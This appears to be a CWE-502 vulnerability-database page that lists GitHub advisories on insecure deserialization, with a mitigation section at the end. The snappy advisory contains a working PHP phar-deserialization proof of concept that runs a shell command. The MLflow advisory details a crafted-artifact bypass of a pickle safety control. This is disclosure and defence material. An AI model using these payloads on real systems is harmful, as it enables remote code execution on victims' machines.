CWE-502
AllowedDeserialization of Untrusted Data
Abstraction: Base · Status: Draft
The product deserializes untrusted data without sufficiently ensuring that the resulting data will be valid.
5884 vulnerabilities reference this CWE, most recent first.
GHSA-GPX5-7XM4-229W
Vulnerability from github – Published: 2026-05-12 18:30 – Updated: 2026-05-18 20:25The snorkel library thru v0.10.0 contains an insecure deserialization vulnerability (CWE-502) in the MultitaskClassifier.load() method of the MultitaskClassifier class. The method loads model weight files using torch.load() without enabling the security-restrictive weights_only=True parameter. This default behavior allows the deserialization of arbitrary Python objects via the Pickle module. A remote attacker can exploit this by providing a maliciously crafted model file, leading to arbitrary code execution on the victim's system when the file is loaded via the vulnerable method.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "snorkel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.10.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31224"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-18T20:25:02Z",
"nvd_published_at": "2026-05-12T16:16:14Z",
"severity": "HIGH"
},
"details": "The snorkel library thru v0.10.0 contains an insecure deserialization vulnerability (CWE-502) in the MultitaskClassifier.load() method of the MultitaskClassifier class. The method loads model weight files using torch.load() without enabling the security-restrictive weights_only=True parameter. This default behavior allows the deserialization of arbitrary Python objects via the Pickle module. A remote attacker can exploit this by providing a maliciously crafted model file, leading to arbitrary code execution on the victim\u0027s system when the file is loaded via the vulnerable method.",
"id": "GHSA-gpx5-7xm4-229w",
"modified": "2026-05-18T20:25:02Z",
"published": "2026-05-12T18:30:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31224"
},
{
"type": "PACKAGE",
"url": "https://github.com/snorkel-team/snorkel"
},
{
"type": "WEB",
"url": "https://www.notion.so/CVE-2026-31224-35d1e1393188814185f3f6db86c9a4e9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Snorkel MultitaskClassifier.load uses an unsafe torch.load"
}
GHSA-GPXW-G22X-43PR
Vulnerability from github – Published: 2026-10-10 21:31 – Updated: 2026-10-10 21:31Unauthenticated PHP Object Injection in FC United <= 1.1.1 versions.
{
"affected": [],
"aliases": [
"CVE-2026-66565"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-10T20:16:45Z",
"severity": "CRITICAL"
},
"details": "Unauthenticated PHP Object Injection in FC United \u003c= 1.1.1 versions.",
"id": "GHSA-gpxw-g22x-43pr",
"modified": "2026-10-10T21:31:20Z",
"published": "2026-10-10T21:31:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-66565"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/theme/fcunited/vulnerability/wordpress-fc-united-theme-1-1-1-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GQ6W-Q6WH-JGGC
Vulnerability from github – Published: 2023-03-17 18:24 – Updated: 2023-03-20 13:59Description
snappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the file_exists() function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the generateFromHtml() function, it will invoke deserialization.
Proof of Concept
Install Snappy via composer require knplabs/knp-snappy. After that, under snappy directory, create an index.php file with this vulnerable code.
<?php
// index.php
// include autoloader
require __DIR__ . '/vendor/autoload.php';
// reference the snappy namespace
use Knp\Snappy\Pdf;
// vulnerable object
class VulnerableClass {
public $fileName;
public $callback;
function __destruct() {
call_user_func($this->callback, $this->fileName);
}
}
$snappy = new Pdf('/usr/local/bin/wkhtmltopdf');
// generate pdf from html content and save it at phar://poc.phar
$snappy->generateFromHtml('<h1>Bill</h1><p>You owe me money, dude.</p>', 'phar://poc.phar');
As an attacker, we going to generate the malicious phar using this script.
<?php
// generate_phar.php
class VulnerableClass { }
// Create a new instance of the Dummy class and modify its property
$dummy = new VulnerableClass();
$dummy->callback = "passthru";
$dummy->fileName = "uname -a > pwned"; //our payload
// Delete any existing PHAR archive with that name
@unlink("poc.phar");
// Create a new archive
$poc = new Phar("poc.phar");
// Add all write operations to a buffer, without modifying the archive on disk
$poc->startBuffering();
// Set the stub
$poc->setStub("<?php echo 'Here is the STUB!'; __HALT_COMPILER();");
// Add a new file in the archive with "text" as its content
$poc["file"] = "text";
// Add the dummy object to the metadata. This will be serialized
$poc->setMetadata($dummy);
// Stop buffering and write changes to disk
$poc->stopBuffering();
?>
Then run these command to generate the file
php --define phar.readonly=0 generate_phar.php
Then execute index.php with php index.php. You will see a file named pwned will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick.
Impact
This vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains.
Occurences
References
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "knplabs/knp-snappy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.4.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-28115"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-17T18:24:24Z",
"nvd_published_at": "2023-03-17T22:15:00Z",
"severity": "CRITICAL"
},
"details": "## Description\n\nsnappy is vulnerable to PHAR deserialization due to a lack of checking on the protocol before passing it into the `file_exists()` function. If an attacker can upload files of any type to the server he can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution especially when snappy is used with frameworks with documented POP chains like Laravel/Symfony vulnerable developer code. If user can control the output file from the `generateFromHtml()` function, it will invoke deserialization.\n\n## Proof of Concept\n\nInstall Snappy via composer require `knplabs/knp-snappy`. After that, under snappy directory, create an `index.php` file with this vulnerable code.\n\n```php\n\u003c?php\n// index.php\n\n// include autoloader\nrequire __DIR__ . \u0027/vendor/autoload.php\u0027;\n\n// reference the snappy namespace\nuse Knp\\Snappy\\Pdf;\n\n// vulnerable object\nclass VulnerableClass {\n public $fileName;\n public $callback;\n\n function __destruct() {\n call_user_func($this-\u003ecallback, $this-\u003efileName);\n }\n}\n\n$snappy = new Pdf(\u0027/usr/local/bin/wkhtmltopdf\u0027);\n// generate pdf from html content and save it at phar://poc.phar\n$snappy-\u003egenerateFromHtml(\u0027\u003ch1\u003eBill\u003c/h1\u003e\u003cp\u003eYou owe me money, dude.\u003c/p\u003e\u0027, \u0027phar://poc.phar\u0027);\n```\n\nAs an attacker, we going to generate the malicious phar using this script.\n\n```php\n\u003c?php\n// generate_phar.php\n\nclass VulnerableClass { }\n// Create a new instance of the Dummy class and modify its property\n$dummy = new VulnerableClass();\n$dummy-\u003ecallback = \"passthru\";\n$dummy-\u003efileName = \"uname -a \u003e pwned\"; //our payload\n\n// Delete any existing PHAR archive with that name\n@unlink(\"poc.phar\");\n\n// Create a new archive\n$poc = new Phar(\"poc.phar\");\n\n// Add all write operations to a buffer, without modifying the archive on disk\n$poc-\u003estartBuffering();\n\n// Set the stub\n$poc-\u003esetStub(\"\u003c?php echo \u0027Here is the STUB!\u0027; __HALT_COMPILER();\");\n\n// Add a new file in the archive with \"text\" as its content\n$poc[\"file\"] = \"text\";\n\n// Add the dummy object to the metadata. This will be serialized\n$poc-\u003esetMetadata($dummy);\n\n// Stop buffering and write changes to disk\n$poc-\u003estopBuffering();\n?\u003e\n```\n\nThen run these command to generate the file\n\n```php\nphp --define phar.readonly=0 generate_phar.php\n```\n\nThen execute index.php with `php index.php`. You will see a file named `pwned` will be created. Noted that attacker can upload a file with any extension such as .png or .jpeg. So poc.jpeg also will do the trick.\n\n## Impact\n\nThis vulnerability is capable of remote code execution if Snappy is used with frameworks or developer code with vulnerable POP chains.\n\n## Occurences\n\n\u003chttps://github.com/KnpLabs/snappy/blob/5126fb5b335ec929a226314d40cd8dad497c3d67/src/Knp/Snappy/AbstractGenerator.php#L670\u003e\n\n## References\n\n- \u003chttps://huntr.dev/bounties/0bdddc12-ff67-4815-ab9f-6011a974f48e/\u003e",
"id": "GHSA-gq6w-q6wh-jggc",
"modified": "2023-03-20T13:59:30Z",
"published": "2023-03-17T18:24:24Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/KnpLabs/snappy/security/advisories/GHSA-gq6w-q6wh-jggc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28115"
},
{
"type": "WEB",
"url": "https://github.com/KnpLabs/snappy/pull/469"
},
{
"type": "WEB",
"url": "https://github.com/KnpLabs/snappy/commit/1ee6360cbdbea5d09705909a150df7963a88efd6"
},
{
"type": "WEB",
"url": "https://github.com/KnpLabs/snappy/commit/b66f79334421c26d9c244427963fa2d92980b5d3"
},
{
"type": "WEB",
"url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/knplabs/knp-snappy/CVE-2023-28115.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/KnpLabs/snappy"
},
{
"type": "WEB",
"url": "https://github.com/KnpLabs/snappy/blob/5126fb5b335ec929a226314d40cd8dad497c3d67/src/Knp/Snappy/AbstractGenerator.php#L670"
},
{
"type": "WEB",
"url": "https://github.com/KnpLabs/snappy/releases/tag/v1.4.2"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-gq6w-q6wh-jggc"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/0bdddc12-ff67-4815-ab9f-6011a974f48e"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "PHAR deserialization allowing remote code execution"
}
GHSA-GQ8P-2329-GH3X
Vulnerability from github – Published: 2026-06-23 15:32 – Updated: 2026-09-23 18:13Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-7cq8-mj8x-j263. This link is maintained to preserve external references.
Original Description
picklescan before 0.0.29 fails to detect malicious pickle files using idlelib.autocomplete.AutoComplete.fetch_completions in reduce methods. Attackers can embed undetected code in pickle files that executes arbitrary commands when loaded by victims.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "picklescan"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.29"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-23T18:13:27Z",
"nvd_published_at": "2026-06-23T13:16:38Z",
"severity": "HIGH"
},
"details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-7cq8-mj8x-j263. This link is maintained to preserve external references.\n\n### Original Description\npicklescan before 0.0.29 fails to detect malicious pickle files using idlelib.autocomplete.AutoComplete.fetch_completions in reduce methods. Attackers can embed undetected code in pickle files that executes arbitrary commands when loaded by victims.",
"id": "GHSA-gq8p-2329-gh3x",
"modified": "2026-09-23T18:13:27Z",
"published": "2026-06-23T15:32:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-7cq8-mj8x-j263"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71376"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/picklescan-arbitrary-code-execution-via-undetected-idlelib-autocomplete-autocomplete-fetch-completions"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
],
"summary": "Duplicate Advisory: Picklescan has a missing detection when calling built-in python idlelib.autocomplete.AutoComplete.fetch_completions",
"withdrawn": "2026-09-23T18:13:27Z"
}
GHSA-GQ8X-F6PQ-64XJ
Vulnerability from github – Published: 2026-06-15 21:30 – Updated: 2026-06-15 21:30Contributor PHP Object Injection in Post Duplicator <= 3.0.10 versions.
{
"affected": [],
"aliases": [
"CVE-2026-39474"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-15T21:16:44Z",
"severity": "HIGH"
},
"details": "Contributor PHP Object Injection in Post Duplicator \u003c= 3.0.10 versions.",
"id": "GHSA-gq8x-f6pq-64xj",
"modified": "2026-06-15T21:30:44Z",
"published": "2026-06-15T21:30:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39474"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/post-duplicator/vulnerability/wordpress-post-duplicator-plugin-3-0-10-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GQ92-WXJV-QQ7G
Vulnerability from github – Published: 2022-05-24 17:22 – Updated: 2022-05-24 17:22Affected versions of Atlassian Jira Server and Data Center allow remote attackers to achieve template injection via the Web Resources Manager. The affected versions are before version 8.8.1.
{
"affected": [],
"aliases": [
"CVE-2020-14172"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-74"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-07-03T02:15:00Z",
"severity": "HIGH"
},
"details": "Affected versions of Atlassian Jira Server and Data Center allow remote attackers to achieve template injection via the Web Resources Manager. The affected versions are before version 8.8.1.",
"id": "GHSA-gq92-wxjv-qq7g",
"modified": "2022-05-24T17:22:23Z",
"published": "2022-05-24T17:22:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-14172"
},
{
"type": "WEB",
"url": "https://jira.atlassian.com/browse/JRASERVER-70940"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GQFR-9P6P-C94X
Vulnerability from github – Published: 2023-06-07 03:30 – Updated: 2024-04-04 04:37The GDPR CCPA Compliance Support plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 2.3 via deserialization of untrusted input "njt_gdpr_allow_permissions" value. This allows unauthenticated attackers to inject a PHP Object.
{
"affected": [],
"aliases": [
"CVE-2020-36718"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-06-07T02:15:12Z",
"severity": "CRITICAL"
},
"details": "The GDPR CCPA Compliance Support plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 2.3 via deserialization of untrusted input \"njt_gdpr_allow_permissions\" value. This allows unauthenticated attackers to inject a PHP Object.",
"id": "GHSA-gqfr-9p6p-c94x",
"modified": "2024-04-04T04:37:37Z",
"published": "2023-06-07T03:30:21Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36718"
},
{
"type": "WEB",
"url": "https://blog.nintechnet.com/gdpr-ccpa-compliance-support-plugin-fixed-insecure-deserialization-vulnerability"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/2408938"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/2411356/ninja-gdpr-compliance"
},
{
"type": "WEB",
"url": "https://wordpress.org/plugins/ninja-gdpr-compliance/#developers"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/92f1d6fb-c665-419e-a13b-688b1df6c395"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a2871261-3231-4a52-9a38-bb3caf461e7d?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GQGX-F6FF-9PPG
Vulnerability from github – Published: 2022-05-13 01:17 – Updated: 2022-05-13 01:17Adobe ColdFusion versions July 12 release (2018.0.0.310739), Update 6 and earlier, and Update 14 and earlier have a deserialization of untrusted data vulnerability. Successful exploitation could lead to arbitrary code execution.
{
"affected": [],
"aliases": [
"CVE-2018-15958"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-25T13:29:00Z",
"severity": "CRITICAL"
},
"details": "Adobe ColdFusion versions July 12 release (2018.0.0.310739), Update 6 and earlier, and Update 14 and earlier have a deserialization of untrusted data vulnerability. Successful exploitation could lead to arbitrary code execution.",
"id": "GHSA-gqgx-f6ff-9ppg",
"modified": "2022-05-13T01:17:37Z",
"published": "2022-05-13T01:17:37Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-15958"
},
{
"type": "WEB",
"url": "https://helpx.adobe.com/security/products/coldfusion/apsb18-33.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/105313"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1041621"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GQVG-GMMX-X4HM
Vulnerability from github – Published: 2026-09-01 17:04 – Updated: 2026-09-01 17:04Summary
MLflow introduced MLFLOW_ALLOW_PICKLE_DESERIALIZATION as a security control to prevent unsafe pickle.load execution during model loading, in response to CVE-2024-37052 through CVE-2024-37060. When set to False, operators expect all pickle deserialization to be blocked. The most recent related fix (#21188) patched a bypass in the pyfunc flavor.
However, the mlflow.statsmodels flavor completely omits this guard. An attacker who places a crafted MLmodel artifact into any accessible artifact store can trigger arbitrary code execution on any process that calls mlflow.pyfunc.load_model() against the malicious model — even when MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False.
This is a security control bypass. The operator believes pickle RCE is mitigated; the statsmodels flavor silently ignores the control.
Root Cause
mlflow.pyfunc.load_model() dispatches to flavor _load_pyfunc implementations via:
# mlflow/pyfunc/__init__.py L1170-1172
model_impl = importlib.import_module(conf[MAIN])._load_pyfunc(data_path)
The guarded pattern (from mlflow/sklearn/__init__.py L526-533, the reference implementation) is:
if (
not MLFLOW_ALLOW_PICKLE_DESERIALIZATION.get()
and not is_in_databricks_runtime()
and not is_in_databricks_model_serving_environment()
):
raise MlflowException("Deserializing model using pickle is disallowed...")
mlflow/statsmodels/__init__.py has no such check:
# L307-320 — no guard anywhere in this file
def _load_model(path):
import statsmodels.iolib.api as smio
return smio.load_pickle(path) # calls pickle.load() directly
def _load_pyfunc(path):
return _StatsmodelsModelWrapper(_load_model(path))
statsmodels.iolib.api.load_pickle is a thin wrapper around pickle.load. Its own docstring warns: "Never unpickle data received from an untrusted or unauthenticated source."
Trigger
An attacker crafts an MLmodel YAML that specifies mlflow.statsmodels as the loader module:
flavors:
python_function:
loader_module: mlflow.statsmodels
data: model.pkl
statsmodels:
data: model.pkl
statsmodels_version: 0.14.0
With a malicious model.pkl placed alongside it in the artifact store, any call to:
os.environ["MLFLOW_ALLOW_PICKLE_DESERIALIZATION"] = "False"
mlflow.pyfunc.load_model("models:/MaliciousModel/1")
...deserializes the pickle file with no guard check, executing arbitrary code with the privileges of the calling process.
On default MLflow deployments (no --app-name basic-auth), authentication is disabled, so artifact upload requires no credentials.
Affected Code
mlflow/statsmodels/__init__.pyL307-310:_load_model— callssmio.load_picklewithout checkingMLFLOW_ALLOW_PICKLE_DESERIALIZATIONmlflow/statsmodels/__init__.pyL313-320:_load_pyfunc— dispatches to_load_modelwithout checking the control
Permalink (commit 0b0c576c):
- https://github.com/mlflow/mlflow/blob/0b0c576c642b5b0d9496c829809c7d097403bc9f/mlflow/statsmodels/init.py#L307-L310
- https://github.com/mlflow/mlflow/blob/0b0c576c642b5b0d9496c829809c7d097403bc9f/mlflow/statsmodels/init.py#L313-L320
Recommended Fix
Add the missing guard to mlflow/statsmodels/__init__.py:
from mlflow.environment_variables import MLFLOW_ALLOW_PICKLE_DESERIALIZATION
from mlflow.utils.databricks_utils import (
is_in_databricks_model_serving_environment,
is_in_databricks_runtime,
)
def _load_model(path):
if (
not MLFLOW_ALLOW_PICKLE_DESERIALIZATION.get()
and not is_in_databricks_runtime()
and not is_in_databricks_model_serving_environment()
):
raise MlflowException(
"Deserializing model using pickle is disallowed, but this statsmodels "
"model requires pickle deserialization. Set environment variable "
"'MLFLOW_ALLOW_PICKLE_DESERIALIZATION' to 'true' to allow this."
)
import statsmodels.iolib.api as smio
return smio.load_pickle(path)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mlflow"
},
"ranges": [
{
"events": [
{
"introduced": "2.1.0"
},
{
"fixed": "3.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-01T17:04:30Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nMLflow introduced `MLFLOW_ALLOW_PICKLE_DESERIALIZATION` as a security control to prevent unsafe `pickle.load` execution during model loading, in response to CVE-2024-37052 through CVE-2024-37060. When set to `False`, operators expect all pickle deserialization to be blocked. The most recent related fix (#21188) patched a bypass in the pyfunc flavor.\n\nHowever, the `mlflow.statsmodels` flavor completely omits this guard. An attacker who places a crafted MLmodel artifact into any accessible artifact store can trigger arbitrary code execution on any process that calls `mlflow.pyfunc.load_model()` against the malicious model \u2014 **even when `MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False`**.\n\nThis is a security control bypass. The operator believes pickle RCE is mitigated; the statsmodels flavor silently ignores the control.\n\n---\n\n## Root Cause\n\n`mlflow.pyfunc.load_model()` dispatches to flavor `_load_pyfunc` implementations via:\n\n```\n# mlflow/pyfunc/__init__.py L1170-1172\nmodel_impl = importlib.import_module(conf[MAIN])._load_pyfunc(data_path)\n```\n\nThe guarded pattern (from `mlflow/sklearn/__init__.py` L526-533, the reference implementation) is:\n\n```\nif (\n not MLFLOW_ALLOW_PICKLE_DESERIALIZATION.get()\n and not is_in_databricks_runtime()\n and not is_in_databricks_model_serving_environment()\n):\n raise MlflowException(\"Deserializing model using pickle is disallowed...\")\n```\n\n`mlflow/statsmodels/__init__.py` has **no such check**:\n\n```\n# L307-320 \u2014 no guard anywhere in this file\ndef _load_model(path):\n import statsmodels.iolib.api as smio\n return smio.load_pickle(path) # calls pickle.load() directly\n\ndef _load_pyfunc(path):\n return _StatsmodelsModelWrapper(_load_model(path))\n```\n\n`statsmodels.iolib.api.load_pickle` is a thin wrapper around `pickle.load`. Its own docstring warns: *\"Never unpickle data received from an untrusted or unauthenticated source.\"*\n\n---\n\n## Trigger\n\nAn attacker crafts an MLmodel YAML that specifies `mlflow.statsmodels` as the loader module:\n\n```\nflavors:\n python_function:\n loader_module: mlflow.statsmodels\n data: model.pkl\n statsmodels:\n data: model.pkl\n statsmodels_version: 0.14.0\n```\n\nWith a malicious `model.pkl` placed alongside it in the artifact store, any call to:\n\n```\nos.environ[\"MLFLOW_ALLOW_PICKLE_DESERIALIZATION\"] = \"False\"\nmlflow.pyfunc.load_model(\"models:/MaliciousModel/1\")\n```\n\n...deserializes the pickle file with **no guard check**, executing arbitrary code with the privileges of the calling process.\n\nOn default MLflow deployments (no `--app-name basic-auth`), authentication is disabled, so artifact upload requires no credentials.\n\n---\n\n## Affected Code\n\n- `mlflow/statsmodels/__init__.py` L307-310: `_load_model` \u2014 calls `smio.load_pickle` without checking `MLFLOW_ALLOW_PICKLE_DESERIALIZATION`\n- `mlflow/statsmodels/__init__.py` L313-320: `_load_pyfunc` \u2014 dispatches to `_load_model` without checking the control\n\nPermalink (commit `0b0c576c`):\n- https://github.com/mlflow/mlflow/blob/0b0c576c642b5b0d9496c829809c7d097403bc9f/mlflow/statsmodels/__init__.py#L307-L310\n- https://github.com/mlflow/mlflow/blob/0b0c576c642b5b0d9496c829809c7d097403bc9f/mlflow/statsmodels/__init__.py#L313-L320\n\n---\n\n## Recommended Fix\n\nAdd the missing guard to `mlflow/statsmodels/__init__.py`:\n\n```\nfrom mlflow.environment_variables import MLFLOW_ALLOW_PICKLE_DESERIALIZATION\nfrom mlflow.utils.databricks_utils import (\n is_in_databricks_model_serving_environment,\n is_in_databricks_runtime,\n)\n\ndef _load_model(path):\n if (\n not MLFLOW_ALLOW_PICKLE_DESERIALIZATION.get()\n and not is_in_databricks_runtime()\n and not is_in_databricks_model_serving_environment()\n ):\n raise MlflowException(\n \"Deserializing model using pickle is disallowed, but this statsmodels \"\n \"model requires pickle deserialization. Set environment variable \"\n \"\u0027MLFLOW_ALLOW_PICKLE_DESERIALIZATION\u0027 to \u0027true\u0027 to allow this.\"\n )\n import statsmodels.iolib.api as smio\n return smio.load_pickle(path)\n```",
"id": "GHSA-gqvg-gmmx-x4hm",
"modified": "2026-09-01T17:04:30Z",
"published": "2026-09-01T17:04:30Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-gqvg-gmmx-x4hm"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/pull/24686"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/commit/38615289094a4b700a20b5d1dbfbe57bdfb0411f"
},
{
"type": "PACKAGE",
"url": "https://github.com/mlflow/mlflow"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/releases/tag/v3.15.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False safety control bypassed by mlflow.statsmodels flavor \u2014 RCE via crafted model artifact"
}
GHSA-GQXF-QWCH-9QFR
Vulnerability from github – Published: 2025-03-03 15:31 – Updated: 2026-04-01 18:33Deserialization of Untrusted Data vulnerability in Stiofan Events Calendar for GeoDirectory allows Object Injection. This issue affects Events Calendar for GeoDirectory: from n/a through 2.3.14.
{
"affected": [],
"aliases": [
"CVE-2025-26967"
],
"database_specific": {
"cwe_ids": [
"CWE-502"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-03T14:15:56Z",
"severity": "HIGH"
},
"details": "Deserialization of Untrusted Data vulnerability in Stiofan Events Calendar for GeoDirectory allows Object Injection. This issue affects Events Calendar for GeoDirectory: from n/a through 2.3.14.",
"id": "GHSA-gqxf-qwch-9qfr",
"modified": "2026-04-01T18:33:55Z",
"published": "2025-03-03T15:31:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-26967"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/events-for-geodirectory/vulnerability/wordpress-events-calendar-for-geodirectory-plugin-2-3-14-php-object-injection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Mitigation
Explicitly define a final object() to prevent deserialization.
Mitigation
- Make fields transient to protect them from deserialization.
- An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
Mitigation
Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-586: Object Injection
An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.